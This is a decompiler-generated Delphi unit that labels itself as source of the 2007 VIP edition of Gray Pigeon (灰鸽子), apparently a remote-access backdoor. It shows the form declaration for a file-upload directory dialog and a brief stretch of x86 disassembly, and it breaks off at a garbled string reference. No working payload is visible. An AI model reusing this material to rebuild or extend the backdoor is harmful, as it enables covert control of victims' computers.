upfiledir.pas

灰鸽子2007VIP版源码

unit UpfileDir;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TUpFilleDirForm=class(TForm)
    ExPanel1: TspSkinExPanel;
    TreeView1: TspSkinTreeView;
    ScrollBar6: TspSkinScrollBar;
    ScrollBar7: TspSkinScrollBar;
    ControlBar2: TspSkinControlBar;
    Panel40: TspSkinPanel;
    FileToolButton1: TspSkinButton;
    Panel1: TspSkinExPanel;
    ScrollBar11: TspSkinScrollBar;
    ScrollBar2: TspSkinScrollBar;
    ListView1: TspSkinListView;
    Splitter1: TspSkinSplitter;
    SkinForm: TspDynamicSkinForm;
    Panel2: TspSkinPanel;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    ImageList7: TImageList;
    ImageList2: TImageList;
    procedure TreeView1Change(Sender : TObject);
    procedure TreeView1Expanding(Sender : TObject);
    procedure TreeView1MouseDown(Sender : TObject);
    procedure ListView1DblClick(Sender : TObject);
    procedure FileToolButton1Click(Sender : TObject);
    procedure FileToolButton9Click(Sender : TObject);
    procedure Button1Click(Sender : TObject);
    procedure ListView1Click(Sender : TObject);
    procedure Button2Click(Sender : TObject);
    procedure _PROC_0058EAC9(Sender : TObject);
    procedure _PROC_0058ECE5(Sender : TObject);
    procedure _PROC_0058F5AC(Sender : TObject);
    procedure _PROC_0058F815(Sender : TObject);
    procedure _PROC_0058FAB9(Sender : TObject);
    procedure _PROC_0059053D(Sender : TObject);
    procedure _PROC_0059056C(Sender : TObject);
    procedure _PROC_00590574(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  UpFilleDirForm: TUpFilleDirForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TUpFilleDirForm.TreeView1Change(Sender : TObject);
begin
(*
0058FAD8   55                     push    ebp
0058FAD9   8BEC                   mov     ebp, esp
0058FADB   51                     push    ecx
0058FADC   B904000000             mov     ecx, $00000004
0058FAE1   6A00                   push    $00
0058FAE3   6A00                   push    $00
0058FAE5   49                     dec     ecx
0058FAE6   75F9                   jnz     0058FAE1
0058FAE8   51                     push    ecx
0058FAE9   874DFC                 xchg    [ebp-$04], ecx
0058FAEC   53                     push    ebx
0058FAED   56                     push    esi
0058FAEE   57                     push    edi
0058FAEF   8BD9                   mov     ebx, ecx
0058FAF1   8945FC                 mov     [ebp-$04], eax
0058FAF4   33C0                   xor     eax, eax
0058FAF6   55                     push    ebp

* Possible String Reference to: '闆D